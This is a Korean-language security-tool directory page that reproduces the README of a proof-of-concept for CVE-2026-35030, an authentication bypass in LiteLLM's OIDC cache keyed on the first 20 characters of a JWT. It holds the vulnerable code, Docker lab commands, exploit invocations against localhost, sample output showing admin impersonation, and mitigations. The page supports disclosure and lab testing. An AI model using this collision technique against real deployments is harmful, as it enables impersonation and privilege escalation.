Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/learner202649/cve-2026-35030-poc
Vulnerability AnalysisExploitationWeb SecurityCryptographyPenetration TestingAuthenticationLearning & EducationLabs & Practice
GitHublearner202649/cve-2026-35030-poc

CVE-2026-35030-PoC

해당 취약점을 개인적으로 재현하기 위한 코드

저장소 보기
3개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-35030 — LiteLLM OIDC 사용자 정보 캐시 키 충돌을 통한 인증 우회

LiteLLM OIDC 사용자 정보 캐시는 token[:20]을 캐시 키로 사용합니다. 동일한 알고리즘으로 서명된 서로 다른 두 JWT는 처음 20자가 동일하여, 인증되지 않은 공격자가 다른 사용자의 캐시된 신원 및 권한을 상속할 수 있습니다.

필드값
CVECVE-2026-35030
CVSS v4.09.4 (CRITICAL) — CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N
CVSS v3.19.1 (CRITICAL) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
CWECWE-287 (Improper Authentication) / CWE-222 (Insufficiently Protected Credentials)
영향받는 버전LiteLLM < 1.83.0 (with enable_jwt_auth: true)
수정된 버전v1.83.0+ (cache key changed to sha256(token))
발행일2026-04-06
발견자Veria Labs
링크GHSA-jjhc-v7c2-5hh6 • NVD • GitLab Advisory

설명

LiteLLM은 LLM API를 호출하기 위한 AI 게이트웨이/프록시 서버입니다. JWT 인증이 활성화되면 (enable_jwt_auth: true), LiteLLM은 OIDC 제공자에 대해 토큰을 검증하고 userinfo 응답을 캐시합니다.

취약점: 캐시 키는 JWT의 처음 20자만 사용합니다:

root@kitploit:~
# Vulnerable code (pre-1.83.0)
cache_key = token[:20]   # Only first 20 characters!

JWT는 점으로 구분된 세 개의 base64url로 인코딩된 세그먼트로 구성됩니다:

root@kitploit:~
<header>.<payload>.<signature>

헤더(예: {"alg":"RS256","typ":"JWT"})는 동일한 서명 알고리즘을 사용하는 모든 토큰에 대해 동일하게 인코딩됩니다. 즉, 완전히 다른 사용자에게 발급된 두 개의 서로 다른 JWT가 동일한 처음 20자를 갖게 됩니다.

공격 흐름

root@kitploit:~
1. Admin authenticates → LiteLLM fetches userinfo → cached with key = token[:20]
                                                                    ↑
2. Attacker crafts JWT with same algorithm (RS256) ────────────────┘
   → token[:20] is IDENTICAL → cache HIT → inherits admin identity

영향

  • 인증 우회: 공격자가 캐시된 모든 사용자의 신원을 상속
  • 권한 상승: 관리자의 userinfo가 캐시된 경우 공격자가 관리자 권한 획득
  • 기밀성 + 무결성 침해: 공격자가 피해자로 리소스에 접근/수정 가능
  • 인증 불필요 (공격자가 인증되지 않은 상태여도 가능)

엔터프라이즈 라이선스 참고: JWT/OIDC 인증은 LiteLLM의 엔터프라이즈 전용 기능입니다. (LITELLM_LICENSE 필요). 로컬 CVE 재현을 위해 두 Dockerfile 모두 premium_user 검사를 True로 패치합니다. 이는 취약점에 영향을 미치지 않습니다 — 캐시 키 충돌(token[:20])은 엔터프라이즈 검사와 별개로 존재합니다.

첫 번째 시작 시 Prisma 마이그레이션이 실행됩니다(~60-90초). 로그에 "Uvicorn running on http://0.0.0.0:4000"이 표시되면 LiteLLM이 준비된 것입니다.

개념 증명

빠른 시작 (Docker)

root@kitploit:~
# 1. Build and start vulnerable LiteLLM + mock OIDC provider
docker compose up -d --build

# 2. Install Python dependencies
pip install -r requirements.txt

# 3. Create test users (required for JWT auth — master key needed)
curl -s -X POST http://localhost:4000/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"user_id": "admin", "role": "proxy_admin"}'
curl -s -X POST http://localhost:4000/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"user_id": "attacker", "role": "proxy_admin"}'

# 4. Demonstrate the cache key collision
python3 exploit/exploit.py --mode demo

# 5. Run the full exploit (auth bypass via cache collision)
python3 exploit/exploit.py --mode exploit --target http://localhost:4000

# 6. (Optional) Verify it's fixed in v1.83.0+
docker compose --profile fixed up -d --build litellm-fixed
python3 exploit/exploit.py --mode exploit --target http://localhost:4001 --fixed

예상 출력

데모 모드 — 캐시 키 충돌을 보여줍니다:

root@kitploit:~
[+] Admin JWT    (subject=admin):
    Token:     eyJhbGciOiJSUzI1NiIsImtpZCI6Im1vY2stb2lkYy1rZXktMDAxIiwidHlw...
    Prefix:    'eyJhbGciOiJSUzI1NiIs'

[+] Attacker JWT (subject=attacker):
    Token:     eyJhbGciOiJSUzI1NiIsImtpZCI6Im1vY2stb2lkYy1rZXktMDAxIiwidHlw...
    Prefix:    'eyJhbGciOiJSUzI1NiIs'

[🔥] COLLISION: Both tokens share the same first 20 characters!
    Reason: Both tokens use RS256 signing → identical JWT header base64 → identical first 20 characters
    → cache_key = token[:20] = 'eyJhbGciOiJSUzI1NiIs'

익스플로잇 모드 — 실제 인증 우회를 시연합니다:

root@kitploit:~
[VULNERABLE] Exploit Attempt — target: http://localhost:4000

[*] Step 1: Obtaining JWTs from OIDC provider...
    Prefix collision: True

[*] Step 2: Sending admin JWT to LiteLLM (populates OIDC cache)...
    HTTP 200
    Response: {"user_id": "admin", ...}

[*] Step 3: Sending attacker JWT (cache collision attempt)...
    HTTP 200
    Response: {"user_id": "admin", ...}   ← INHERITED ADMIN!

[🔥] EXPLOIT SUCCEEDED! Attacker inherited admin identity!
        Attacker's token[:20] matched admin's cache key.
        Response user_id='admin' (expected 'admin' for escalation)

수정된 버전 — sha256 캐시 키가 충돌을 방지합니다:

root@kitploit:~
[FIXED] Exploit Attempt — target: http://localhost:4001

[*] Step 1: Obtaining JWTs from OIDC provider...
    Prefix collision: True

[*] Step 2: Sending admin JWT to LiteLLM (populates OIDC cache)...
    HTTP 200
    Response: {"user_id": "admin", ...}

[*] Step 3: Sending attacker JWT (cache collision attempt)...
    HTTP 200
    Response: {"user_id": "attacker", ...}   ← OWN IDENTITY preserved

    [+] Attacker identified as user_id='attacker'.
        Fixed version: cache collision prevented.

기술 세부 사항

근본 원인

litellm/proxy/auth/handle_jwt.py에서 OIDC userinfo 캐시는 token[:20]을 키로 사용합니다:

root@kitploit:~
# Vulnerable (pre-1.83.0) — litellm/proxy/auth/handle_jwt.py
cache_key = f"oidc_userinfo_{token[:20]}"   # Only first 20 chars!
cached_userinfo = await user_api_key_cache.async_get_cache(cache_key)
if cached_userinfo is not None:
    return cached_userinfo  # Cache hit → skip userinfo fetch!

# Fixed (v1.83.0+) — same file, line 625
import hashlib
cache_key = f"oidc_userinfo_{hashlib.sha256(token.encode()).hexdigest()}"

token[:20]이 불충분한 이유

토큰 구성 요소사용자별 데이터 포함?동일 알고리즘에 대해 고정?
헤더 (처음 ~30자)❌ 아니요✅ 예 — 동일한 base64
페이로드 (사용자별)✅ 예❌ 아니요 — 사용자별 고유
서명✅ 예❌ 아니요 — 키별 고유

헤더는 처음 20자 내에 있는 유일한 부분이며, 헤더는 동일한 서명 알고리즘을 사용하는 모든 토큰에 대해 동일하므로, 동일한 발급자의 모든 RS256 JWT는 정확히 동일한 처음 20자를 갖습니다.

공격 시나리오

시나리오설명
권한 상승낮은 권한의 사용자가 캐시 충돌을 통해 관리자가 됨
수평적 사칭userinfo가 캐시된 모든 사용자를 사칭
인증 우회 체인CVE-2026-35029와 결합하여 RCE 달성

환경

root@kitploit:~
CVE-2026-35030/
├── README.md                    # This file
├── docker-compose.yml           # Vulnerable + fixed LiteLLM + mock OIDC
├── litellm_config.yaml          # LiteLLM config with JWT auth enabled
├── requirements.txt             # Python dependencies (PoC)
├── litellm-vuln/
│   └── Dockerfile               # Vulnerable LiteLLM v1.82.5 with enterprise patch
├── litellm-fixed/
│   └── Dockerfile               # Fixed LiteLLM v1.83.0+ with sha256 cache key
├── oidc-provider/
│   ├── Dockerfile               # Mock OIDC provider image
│   ├── requirements.txt
│   └── server.py                # OIDC mock (FastAPI)
├── exploit/
│   ├── exploit.py               # Main PoC exploit script
│   └── token_forge.py           # JWT collision utilities
├── docs/
│   └── advisory.md              # Advisory reference
└── screenshots/
    └── README.md                # Proof screenshots placeholder

완화 조치

  1. LiteLLM **v1.83.0+**로 업그레이드 (캐시 키가 sha256(token) 사용)
  2. 필요하지 않은 경우 JWT/OIDC 인증 비활성화: enable_jwt_auth: false
  3. LiteLLM 엔드포인트의 네트워크 노출 제한
  4. 공격 시간을 줄이기 위해 짧은 OIDC 캐시 TTL 설정

참고 자료

  • GitHub Security Advisory GHSA-jjhc-v7c2-5hh6
  • GitLab Advisory
  • NVD 상세
  • LiteLLM 보안 강화 (2026년 4월)
  • v1.83.0-stable 릴리스

면책 조항: 이 내용은 교육 목적 및 승인된 보안 테스트용으로만 제공됩니다.

도구 다운로드